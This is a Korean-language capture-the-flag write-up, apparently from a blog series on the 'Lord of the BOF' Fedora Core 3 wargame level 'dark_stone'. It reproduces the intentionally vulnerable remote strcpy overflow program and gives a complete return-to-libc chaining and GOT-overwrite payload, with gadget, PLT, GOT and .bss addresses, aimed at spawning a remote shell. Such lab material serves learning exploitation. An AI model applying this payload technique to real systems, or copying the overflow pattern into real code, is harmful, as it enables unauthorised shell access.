FC3 evil_wizard->dark_stone
/*
The Lord of the BOF : The Fellowship of the BOF
- dark_stone
- Remote BOF on Fedora Core 3
- hint : GOT overwriting again
- port : TCP 8888
*/
#include <stdio.h>
// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
int main()
{
char buffer[256];
char saved_sfp[4];
int length;
char temp[1024];
printf("dark_stone : how fresh meat you are!\n");
printf("you : ");
fflush(stdout);
// give me a food
fgets(temp, 1024, stdin);
// for disturbance RET sleding
length = strlen(temp);
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, temp);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
// disturbance RET sleding
memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
// buffer cleaning
memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);
printf("%s\n", buffer);
}
이쯤되면 문제 패턴이 예상가능해진다. 역시나 전레벨 문제+remote.. remote를 제외하고 달라진점은 버퍼를 비운다는 점이다. 어차피 GOT Overwrite로 풀꺼라 신경쓰이지는 않지만.
기법정리
RTL chaining으로 /bin/sh가젯을 하나씩 구해 bss에 overwrite 후 system호출&인자 bss --> ascii armor 우회불가능(ftz level11을 이렇게 풀었다)
RTL chaining으로 system주소를 1 byte씩 직접 printf@got 에 overwrite, print@plt 호출후 AAAA+&/bin/sh
지금까지 사용한 exploit방법인데 이번엔 좀 다르게 풀겠다
custom stack을 bss로 두고 RTL chaining으로 system주소를 하나씩 overwrite 후 printf@got에 bss를 한번에 overwrite, print@plt 호출후 AAAA+&/bin/sh
주소를 구해보자
strcpy.plt : 0x8048438
printf.plt : 0x8048408
printf.got : 0x804984c
pop pop ret : 0x80484f3
.bss : 0x08049868
system : 0x7507c0
c0 0x80484d0
07 0x804817c
75 0x80482b4
00 0x8049804
/bin/sh : 0x833603
payload 구성 : dummy * 268
+ strcpy.plt + pop pop ret + bss+0 + system[0]
+ strcpy.plt + pop pop ret + bss+1 + system[1]
+ strcpy.plt + pop pop ret + bss+2 + system[2]
+ strcpy.plt + pop pop ret + bss+3 + system[3]
+ strcpy.plt + pop pop ret + printf@got + bss
+printf@plt + AAAA+ &/bin/sh
원격으로 쉘을 따자
'System > FC3' 카테고리의 다른 글
FC3 hell_fire->evil_wizard (0) | 2017.04.07 |
---|---|
FC3 dark_eyes->hell_fire (0) | 2017.04.07 |
FC3 iron_golem->dark_eyes (0) | 2017.04.07 |
FC3 gate->iron_golem (0) | 2017.04.07 |